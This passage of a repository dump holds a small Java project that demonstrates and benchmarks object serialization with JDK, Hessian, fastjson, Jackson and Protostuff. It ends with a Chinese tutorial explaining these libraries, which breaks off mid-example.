    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_serialization</artifactId>\n\t<version>1.0</version>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter</artifactId>\n\t\t\t<version>2.1.0.RELEASE</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/io.protostuff/protostuff-core -->\n\t\t<dependency>\n\t\t\t<groupId>io.protostuff</groupId>\n\t\t\t<artifactId>protostuff-core</artifactId>\n\t\t\t<version>1.6.0</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/io.protostuff/protostuff-runtime -->\n\t\t<dependency>\n\t\t\t<groupId>io.protostuff</groupId>\n\t\t\t<artifactId>protostuff-runtime</artifactId>\n\t\t\t<version>1.6.0</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<version>1.18.6</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\n\n\t\t<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->\n\t\t<dependency>\n\t\t\t<groupId>com.caucho</groupId>\n\t\t\t<artifactId>hessian</artifactId>\n\t\t\t<version>4.0.60</version>\n\t\t</dependency>\n\n\n\t\t<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.56</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t    <groupId>com.fasterxml.jackson.core</groupId>\n\t\t    <artifactId>jackson-databind</artifactId>\n\t\t    <version>2.9.9.3</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/pojo/Location.java",
    "content": "package com.jun.plugin.utils.pojo;\n\n\nimport java.io.Serializable;\n\npublic class Location implements Serializable {\n\n\n    private  String city;\n\n    public Location() {\n\n    }\n\n    public Location(String city) {\n        this.city = city;\n    }\n\n    @Override\n    public String toString() {\n        return \"Location{\" +\n                \"city='\" + city + '\\'' +\n                '}';\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/pojo/TestPojo.java",
    "content": "package com.jun.plugin.utils.pojo;\n\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class TestPojo  implements Serializable {\n\n    private String name1 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name2 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name3 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name4 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name5 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name6 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name7 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name8 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name9 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name10 = \"aaaaaaaaaaaaaaaaaa\";\n\n    private String name11 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name12 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name13 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name14 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name15 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name16 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name17 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name18 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name19 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name20 = \"aaaaaaaaaaaaaaaaaa\";\n\n    private String name21 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name22 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name23 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name24 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name25 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name26 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name27 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name28 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name29 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name30 = \"aaaaaaaaaaaaaaaaaa\";\n\n    private String name31 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name32 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name33 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name34 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name35 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name36 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name37 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name38 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name39 = \"aaaaaaaaaaaaaaaaaa\";\n    private String name40 = \"aaaaaaaaaaaaaaaaaa\";\n\n    private String name41;\n    private String name42;\n    private String name43;\n    private String name44;\n    private String name45;\n    private String name46;\n    private String name47;\n    private String name48;\n    private String name49;\n    private String name50;\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/pojo/User.java",
    "content": "package com.jun.plugin.utils.pojo;\n\n\nimport lombok.Builder;\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\nimport java.util.Map;\n\n@Data\n@Builder\npublic class User implements Serializable {\n\n    private String id;\n\n    private String name;\n\n    private Integer age;\n\n    private String desc;\n\n\n    private  Object obj;\n\n    private List list;\n    private Map map;\n\n    public User(){\n\n    }\n\n    public User(String id, String name, Integer age, String desc, Object obj) {\n        this.id = id;\n        this.name = name;\n        this.age = age;\n        this.desc = desc;\n        this.obj = obj;\n    }\n\n\n    public User(String id, String name, Integer age, String desc, Object obj, List list, Map map) {\n        this.id = id;\n        this.name = name;\n        this.age = age;\n        this.desc = desc;\n        this.obj = obj;\n        this.list = list;\n        this.map = map;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/AbstractSerialize.java",
    "content": "package com.jun.plugin.utils.serialization;\n\npublic abstract class AbstractSerialize {\n\n    public  abstract   <T> byte[] serialize(T obj);\n    public abstract  <T> T deserialize(byte[] data, Class<T> clazz);\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/FastjsonSerializeUtil.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n *功能描述\n * @author lgj\n * @Description fastjson ,对象属性需要实现get/set\n * @date 3/24/19\n*/\npublic class FastjsonSerializeUtil  extends  AbstractSerialize {\n\n    private static  FastjsonSerializeUtil serializeUtil = new FastjsonSerializeUtil();\n\n    public static FastjsonSerializeUtil getSingleton(){\n        return  serializeUtil;\n    }\n\n\n    public <T> byte[] serialize(T obj) {\n        if (obj  == null){\n            throw new NullPointerException();\n        }\n\n        String json = JSON.toJSONString(obj);\n        byte[] data = json.getBytes();\n        return data;\n    }\n\n    public <T> T deserialize(byte[] data, Class<T> clazz) {\n\n        T obj = JSON.parseObject(new String(data),clazz);\n        return obj;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/HessianSerializeUtil.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.jun.plugin.utils.pojo.Location;\nimport com.jun.plugin.utils.pojo.User;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\n\npublic class HessianSerializeUtil extends  AbstractSerialize {\n\n    public static  HessianSerializeUtil serializeUtil = new HessianSerializeUtil();\n    public static HessianSerializeUtil getSingleton(){\n        return  serializeUtil;\n    }\n\n    public static void main(String args[]){\n        Location location = new Location(\"深圳\");\n        User user = User.builder().age(15).desc(\"libai\").name(\"zhangfei\").obj(location).build();\n\n        byte[]  serData = HessianSerializeUtil.serializeUtil.serialize(user);\n        User user1 = HessianSerializeUtil.serializeUtil.deserialize(serData,null);\n\n        System.out.println(user1);\n    }\n    public <T> byte[] serialize(T obj) {\n\n        if (obj  == null){\n            throw new NullPointerException();\n        }\n        try{\n            ByteArrayOutputStream bos = new ByteArrayOutputStream();\n            HessianOutput ho = new HessianOutput(bos);\n            ho.writeObject(obj);\n\n            return  bos.toByteArray();\n        }\n        catch(Exception ex){\n            throw new  RuntimeException();\n        }\n\n    }\n\n    public <T> T deserialize(byte[] data, Class<T> clazz) {\n\n        if (data == null){\n            throw  new  NullPointerException();\n        }\n        try{\n            ByteArrayInputStream bis = new ByteArrayInputStream(data);\n            HessianInput hi = new HessianInput(bis);\n            return (T)hi.readObject();\n\n        }\n        catch(Exception ex){\n            throw new  RuntimeException();\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/JacksonSerialize.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport java.io.IOException;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport com.fasterxml.jackson.annotation.*;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\npublic class JacksonSerialize {\n\t\n\t\n\tpublic static void main(String[] args) throws ParseException, IOException {\n\t\tUser user = new User();\n\t\tuser.setName(\"小民\");\t\n\t\tuser.setEmail(\"xiaomin@sina.com\");\n\t\tuser.setAge(20);\n\t\t\n\t\tSimpleDateFormat dateformat = new SimpleDateFormat(\"yyyy-MM-dd\");\n\t\tuser.setBirthday(dateformat.parse(\"1996-10-01\"));\t\t\n\t\t\n\t\t/**\n\t\t * ObjectMapper是JSON操作的核心，Jackson的所有JSON操作都是在ObjectMapper中实现。\n\t\t * ObjectMapper有多个JSON序列化的方法，可以把JSON字符串保存File、OutputStream等不同的介质中。\n\t\t * writeValue(File arg0, Object arg1)把arg1转成json序列，并保存到arg0文件中。\n\t\t * writeValue(OutputStream arg0, Object arg1)把arg1转成json序列，并保存到arg0输出流中。\n\t\t * writeValueAsBytes(Object arg0)把arg0转成json序列，并把结果输出成字节数组。\n\t\t * writeValueAsString(Object arg0)把arg0转成json序列，并把结果输出成字符串。\n\t\t */\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\t\n\t\t//User类转JSON\n\t\t//输出结果：{\"name\":\"小民\",\"age\":20,\"birthday\":844099200000,\"email\":\"xiaomin@sina.com\"}\n\t\tString json = mapper.writeValueAsString(user);\n\t\tSystem.out.println(json);\n\t\t\n\t\t//Java集合转JSON\n\t\t//输出结果：[{\"name\":\"小民\",\"age\":20,\"birthday\":844099200000,\"email\":\"xiaomin@sina.com\"}]\n\t\tList<User> users = new ArrayList<User>();\n\t\tusers.add(user);\n\t\tString jsonlist = mapper.writeValueAsString(users);\n\t\tSystem.out.println(jsonlist);\n\t} \n\tpublic static void main2(String[] args) throws ParseException, IOException {\n\t\tString json = \"{\\\"name\\\":\\\"小民\\\",\\\"age\\\":20,\\\"birthday\\\":844099200000,\\\"email\\\":\\\"xiaomin@sina.com\\\"}\";\n\t\t\n\t\t/**\n\t\t * ObjectMapper支持从byte[]、File、InputStream、字符串等数据的JSON反序列化。\n\t\t */\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\tUser user = mapper.readValue(json, User.class);\n\t\tSystem.out.println(user);\n\t}\n\t\n\tpublic static void main3(String[] args) throws ParseException, IOException {\n\t\tUser user = new User();\n\t\tuser.setName(\"小民\");\t\n\t\tuser.setEmail(\"xiaomin@sina.com\");\n\t\tuser.setAge(20);\n\t\t\n\t\tSimpleDateFormat dateformat = new SimpleDateFormat(\"yyyy-MM-dd\");\n\t\tuser.setBirthday(dateformat.parse(\"1996-10-01\"));\t\t\n\t\t\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\tString json = mapper.writeValueAsString(user);\n\t\tSystem.out.println(json);\n\t\t//输出结果：{\"name\":\"小民\",\"birthday\":\"1996年09月30日\",\"mail\":\"xiaomin@sina.com\"}\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\tstatic  class User {\n\t\tprivate String name;\n\t\t\n\t\t//不JSON序列化年龄属性\n\t\t@JsonIgnore \n\t\tprivate Integer age;\n\t\t\n\t\t//格式化日期属性\n\t\t@JsonFormat(pattern = \"yyyy年MM月dd日\")\n\t\tprivate Date birthday;\n\t\t\n\t\t//序列化email属性为mail\n\t\t@JsonProperty(\"mail\")\n\t\tprivate String email;\n\t\t\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\t\tpublic void setName(String name) {\n\t\t\tthis.name = name;\n\t\t}\n\t\t\n\t\tpublic Integer getAge() {\n\t\t\treturn age;\n\t\t}\n\t\tpublic void setAge(Integer age) {\n\t\t\tthis.age = age;\n\t\t}\n\t\t\n\t\tpublic Date getBirthday() {\n\t\t\treturn birthday;\n\t\t}\n\t\tpublic void setBirthday(Date birthday) {\n\t\t\tthis.birthday = birthday;\n\t\t}\n\t\t\n\t\tpublic String getEmail() {\n\t\t\treturn email;\n\t\t}\n\t\tpublic void setEmail(String email) {\n\t\t\tthis.email = email;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/JdkSerializeUtil.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\n\nimport com.jun.plugin.utils.pojo.Location;\nimport com.jun.plugin.utils.pojo.User;\n\npublic class JdkSerializeUtil extends  AbstractSerialize {\n\n    private static  JdkSerializeUtil serializeUtil = new JdkSerializeUtil();\n\n    public static JdkSerializeUtil getSingleton(){\n        return  serializeUtil;\n    }\n\n    public static void main(String args[]){\n        Location location = new Location(\"深圳\");\n        User user = User.builder().age(15).desc(\"libai\").name(\"zhangfei\").obj(location).build();\n\n        byte[]  serData = JdkSerializeUtil.serializeUtil.serialize(user);\n        User user1 = JdkSerializeUtil.serializeUtil.deserialize(serData,null);\n\n        System.out.println(user1);\n    }\n    public <T> byte[] serialize(T obj) {\n\n        if (obj  == null){\n            throw new NullPointerException();\n        }\n\n        ByteArrayOutputStream bos = new ByteArrayOutputStream();\n        try {\n            ObjectOutputStream oos = new ObjectOutputStream(bos);\n\n            oos.writeObject(obj);\n            return bos.toByteArray();\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n        return new byte[0];\n    }\n\n    public <T> T deserialize(byte[] data, Class<T> clazz) {\n        ByteArrayInputStream bis = new ByteArrayInputStream(data);\n\n        try {\n            ObjectInputStream ois = new ObjectInputStream(bis);\n            T obj = (T)ois.readObject();\n            return obj;\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n\n        return  null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/ProtostuffSerializeUtil.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport io.protostuff.LinkedBuffer;\nimport io.protostuff.ProtostuffIOUtil;\nimport io.protostuff.Schema;\nimport io.protostuff.runtime.RuntimeSchema;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport com.jun.plugin.utils.pojo.Location;\nimport com.jun.plugin.utils.pojo.User;\n\n\n\npublic class ProtostuffSerializeUtil  extends  AbstractSerialize{\n\n    private static  ProtostuffSerializeUtil serializeUtil = new ProtostuffSerializeUtil();\n\n    public static ProtostuffSerializeUtil getSingleton(){\n        return  serializeUtil;\n    }\n\n\n    /**\n     * 避免每次序列化都重新申请Buffer空间\n     */\n    private static LinkedBuffer buffer = LinkedBuffer.allocate(LinkedBuffer.DEFAULT_BUFFER_SIZE);\n    /**\n     * 缓存Schema\n     */\n    private static Map<Class<?>, Schema<?>> schemaCache = new ConcurrentHashMap<Class<?>, Schema<?>>();\n\n\n\n    public static void main(String args[]){\n\n        Location  location = new Location(\"深圳\");\n        User user = User.builder().age(15).desc(\"libai\").name(\"zhangfei\").obj(location).build();\n\n        byte[]  serData = ProtostuffSerializeUtil.serializeUtil.serialize(user);\n        User user1 = ProtostuffSerializeUtil.serializeUtil.deserialize(serData,User.class);\n\n        System.out.println(user1);\n\n    }\n\n    public   <T> byte[] serialize(T obj) {\n\n        if (obj  == null){\n            throw new NullPointerException();\n        }\n        Class<T> clazz = (Class<T>) obj.getClass();\n        Schema<T> schema = getSchema(clazz);\n        byte[] data;\n        try {\n            data = ProtostuffIOUtil.toByteArray(obj, schema, buffer);\n        } finally {\n            buffer.clear();\n        }\n\n        return data;\n    }\n\n    public <T> T deserialize(byte[] data, Class<T> clazz) {\n        Schema<T> schema = getSchema(clazz);\n        T obj = schema.newMessage();\n        ProtostuffIOUtil.mergeFrom(data, obj, schema);\n        return obj;\n    }\n\n\n    private static <T> Schema<T> getSchema(Class<T> clazz) {\n        Schema<T> schema = (Schema<T>) schemaCache.get(clazz);\n        if (schema == null) {\n            //这个schema通过RuntimeSchema进行懒创建并缓存\n            //所以可以一直调用RuntimeSchema.getSchema(),这个方法是线程安全的\n            schema = RuntimeSchema.getSchema(clazz);\n            if (schema != null) {\n                schemaCache.put(clazz, schema);\n            }\n        }\n\n        return schema;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/serialization/SerializeTest.java",
    "content": "package com.jun.plugin.utils.serialization;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.utils.pojo.Location;\nimport com.jun.plugin.utils.pojo.User;\n\npublic class SerializeTest {\n\n    public static void main(String args[]){\n\n        long  start = 0;\n        long  end = 0;\n\n        Location location = new Location(\"深圳\");\n\n        List<Integer> list = new ArrayList();\n        list.add(1);\n        list.add(2);\n\n        Map <String,String> map  = new HashMap<String, String>();\n        map.put(\"a\",\"a1\");\n        map.put(\"b\",\"b1\");\n        User user = User.builder().age(15).desc(\"libai\").name(\"zhangfei\").obj(location).list(list).map(map).build();\n        System.out.println(user);\n\n\n        System.out.println(\"JDK序列化......\");\n        start = System.currentTimeMillis();\n        byte[]  serData = JdkSerializeUtil.getSingleton().serialize(user);\n        System.out.println(\"JDK序列化占用字节数：\" + serData.length);\n        User user1 = JdkSerializeUtil.getSingleton().deserialize(serData,null);\n        end = System.currentTimeMillis();\n        System.out.println(\"JDK序列化花费时间：\" + (end - start));\n        System.out.println(user1);\n\n        System.out.println();\n\n        System.out.println(\"Protostuff序列化......\");\n        start = System.currentTimeMillis();\n        serData = ProtostuffSerializeUtil.getSingleton().serialize(user);\n        System.out.println(\"Protostuff序列化占用字节数：\" + serData.length);\n        user1 = ProtostuffSerializeUtil.getSingleton().deserialize(serData,User.class);\n        end = System.currentTimeMillis();\n        System.out.println(\"Protostuff序列化花费时间：\" + (end - start));\n        System.out.println(user1);\n\n\n        System.out.println();\n\n\n        System.out.println(\"fastjson序列化......\");\n        start = System.currentTimeMillis();\n        serData = FastjsonSerializeUtil.getSingleton().serialize(user);\n        System.out.println(\"fastjson序列化占用字节数：\" + serData.length);\n        user1 = FastjsonSerializeUtil.getSingleton().deserialize(serData,User.class);\n        end = System.currentTimeMillis();\n        System.out.println(\"fastjson序列化花费时间：\" + (end - start));\n        System.out.println(user1);\n\n\n\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/src/main/java/com/jun/plugin/utils/test/SerializeTest.java",
    "content": "package com.jun.plugin.utils.test;\n\nimport org.springframework.util.StopWatch;\n\nimport com.jun.plugin.utils.pojo.TestPojo;\nimport com.jun.plugin.utils.serialization.*;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n *功能描述\n * @author lgj  序列化性能测试\n * @Description\n * @date 3/26/19\n\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：369 字节长度 =  788948\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：417 字节长度 =  788891\n序列化对象类：java.util.ArrayList  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：242 字节长度 =  788897\n\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：284 字节长度 =  1577862\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：393 字节长度 =  1577781\n序列化对象类：java.util.HashMap  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：184 字节长度 =  1577785\n\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.JdkSerializeUtil  序列化花费时间：21 字节长度 =  977\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.FastjsonSerializeUtil  序列化花费时间：58 字节长度 =  1192\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.HessianSerializeUtil  序列化花费时间：4 字节长度 =  1319\n序列化对象类：com.utils.pojo.TestPojo  序列化类：com.utils.serialization.ProtostuffSerializeUtil  序列化花费时间：67 字节长度 =  825\n\n 综合来看,hessian 的效率是比较高的。fastjson效率相对偏低。\n */\n\npublic class SerializeTest {\n\n    public static void main(String args[]){\n\n        JdkSerializeUtil jdkSerializeUtil = JdkSerializeUtil.getSingleton();\n        FastjsonSerializeUtil fastjsonSerializeUtil = FastjsonSerializeUtil.getSingleton();\n        HessianSerializeUtil hessianSerializeUtil = HessianSerializeUtil.getSingleton();\n        ProtostuffSerializeUtil protostuffSerializeUtil = ProtostuffSerializeUtil.getSingleton();\n\n        // for list test\n        List<String>   list = new ArrayList<String>();\n\n        for(int  i = 0;i < 100000; i++){\n            list.add(String.valueOf(i));\n        }\n        int testCount = 1;\n\n        performanceTest(jdkSerializeUtil,list,testCount,ArrayList.class);\n        performanceTest(fastjsonSerializeUtil,list,testCount,ArrayList.class);\n        performanceTest(hessianSerializeUtil,list,testCount,ArrayList.class);\n        System.out.println();\n\n\n        //for map test\n        Map<String,String> map = new HashMap();\n\n        for(int  i = 0;i < 100000; i++){\n            map.put(String.valueOf(i),String.valueOf(i));\n        }\n\n        performanceTest(jdkSerializeUtil,map,testCount,HashMap.class);\n        performanceTest(fastjsonSerializeUtil,map,testCount,HashMap.class);\n        performanceTest(hessianSerializeUtil,map,testCount,HashMap.class);\n        System.out.println();\n\n        //for other object test\n        TestPojo  testPojo = new TestPojo();\n        performanceTest(jdkSerializeUtil,testPojo,testCount,TestPojo.class);\n        performanceTest(fastjsonSerializeUtil,testPojo,testCount,TestPojo.class);\n        performanceTest(hessianSerializeUtil,testPojo,testCount,TestPojo.class);\n        performanceTest(protostuffSerializeUtil,testPojo,testCount,TestPojo.class);\n\n        System.out.println();\n    }\n    /**\n     *功能描述 \n     * @author lgj\n     * @Description  \n     * @date 3/26/19\n     * @param: \n     * @return: \n     *\n    */\n    public static <T> void performanceTest(AbstractSerialize serialize , Object object , int tesCount, Class<T> clazz){\n\n        long  start = 0;\n        long  end = 0;\n        long totalTime = 0;\n        byte[]  serData = null;\n\n        for(int i = 0; i< tesCount ; i++){\n            StopWatch stopWatch = new StopWatch(\"my-watch\");\n            stopWatch.start();\n            serData = serialize.serialize(object);\n            T obj  = serialize.deserialize(serData,clazz);\n            stopWatch.stop();\n            totalTime += stopWatch.getTotalTimeMillis();\n           // System.out.println(obj);\n        }\n\n        System.out.println(\"序列化对象类：\" + clazz.getName()\n                + \"  序列化类：\" + serialize.getClass().getName()\n                +  \"  序列化花费时间：\" + (totalTime/tesCount)\n                + \" 字节长度 =  \" + serData.length);\n\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_serialization/序列化.md",
    "content": "## 序列化\n\n将对象转换为字节数组，方便在网络中进行对象的传输。在网络通信中，不同的计算机进行相互通信主要的方式就是将数据流从一台机器传输给另外一台计算机，常见的传输协议包括了TCP,UDP,HTTP等，网络io的方式主要包括有了aio，bio，nio三种方式。\n\n当客户端将需要请求的数据封装好了之后就需要进行转换为**二进制格式**再转换为流进行传输，当服务端接收到流之后再将数据解析为**二进制格式**的内容，再按照约定好的协议进行处理解析。最常见的场景就是rpc远程调用的时候，对发送数据和接收数据时候的处理。\n\n下边我们来一一介绍一下现在比较常见的几款序列化技术框架。\n\n## **jdk序列化**\n\njdk自身便带有序列化的功能，Java序列化API允许我们将一个对象转换为流，并通过网络发送，或将其存入文件或数据库以便未来使用，反序列化则是将对象流转换为实际程序中使用的Java对象的过程。\n\n**先来看看实际的代码案例**\n\n首先我们创建一个基础的测试Person类\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * @author linhao\n * @date 2019/8/15\n * @Version V1.0\n */\n@AllArgsConstructor\n@NoArgsConstructor\n@Data\npublic class Person implements Serializable {\n    private static final long serialVersionUID = 3829252771168681281L;\n\n    private Integer id;\n\n    private String username;\n\n    private String tel;\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n**如果某些特殊字段不希望被序列化该如何处理？**\n\n这里面如果有相应的属性不希望被序列化操作的话，可以使用transient关键字进行修饰，例如希望tel属性不希望被序列化，可以改成这样：\n\n```\n  private transient String tel;\n```\n\n \n\n*这样的话，该对象在反序列化出来结果之后，相应的属性就会为null值。*\n\n**为什么要定义serialVersionUID？**\n\n序列化操作时，系统会把当前类声明的serialVersionUID写入到序列化文件中，用于反序列化时系统会去检测文件中的serialVersionUID，判断它是否与当前类的serialVersionUID一致，如果一致就说明序列化类的版本与当前类版本是一样的，可以反序列化成功，否则失败。\n\n**如果没有定义serialVersionUID时**\n\n当实现当前类没有显式地定义一个serialVersionUID变量时候，Java序列化机制会根据编译的Class自动生成一个serialVersionUID作序列化版本比较用，这种情况下，如果类信息进行修改，会导致反序列化时serialVersionUID与原先值无法match，反序列化失败。\n\n通过jdk提升的序列化对其进行相应的序列化和反序列化的代码案例\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test.jdk;\n\n\nimport com.sise.test.Person;\n\nimport java.io.IOException;\n\n/**\n * @author idea\n * @date 2019/8/15\n * @Version V1.0\n */\npublic class SerializationTest {\n\n    /**\n     *\n     * @param args\n     * @throws IOException\n     */\n    public static void main(String[] args) throws IOException, ClassNotFoundException {\n\n        long begin = System.currentTimeMillis();\n        for (int i = 0; i < 2000; i++) {\n            String fileName = \"test-person.txt\";\n            Person person = new Person();\n            person.setId(1);\n            person.setTel(\"99562352\");\n            person.setUsername(\"idea\");\n            SerializationUtil.serialize(person, fileName);\n            Person newPerson = (Person) SerializationUtil.deserialize(fileName);\n        }\n        long end = System.currentTimeMillis();\n        System.out.println(\"耗时：\" + (end - begin));\n    }\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n**jdk序列化的缺点**\n\n**1、无法跨语言**\n\n这一缺点几乎是致命伤害，对于跨进程的服务调用，通常都需要考虑到不同语言的相互调用时候的兼容性，而这一点对于jdk序列化操作来说却无法做到。这是因为jdk序列化操作时是使用了java语言内部的私有协议，在对其他语言进行反序列化的时候会有严重的阻碍。\n\n**2、序列化之后的码流过大**\n\njdk进行序列化编码之后产生的字节数组过大，占用的存储内存空间也较高，这就导致了相应的流在网络传输的时候带宽占用较高，性能相比较为低下的情况。\n\n## Hessian序列化框架\n\nHessian是一款支持多种语言进行序列化操作的框架技术，同时在进行序列化之后产生的码流也较小，处理数据的性能方面远超于java内置的jdk序列化方式。\n\n相关的代码案例：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test.hessian;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.sise.test.Person;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\n\n/**\n * @author idea\n * @date 2019/8/15\n * @Version V1.0\n */\npublic class HessianTest {\n\n    /**\n     *\n     * @param args\n     * @throws IOException\n     */\n    public static void main(String[] args) throws IOException {\n        long begin = System.currentTimeMillis();\n        for (int i = 0; i < 2000; i++) {\n            Person person = new Person();\n            person.setId(1);\n            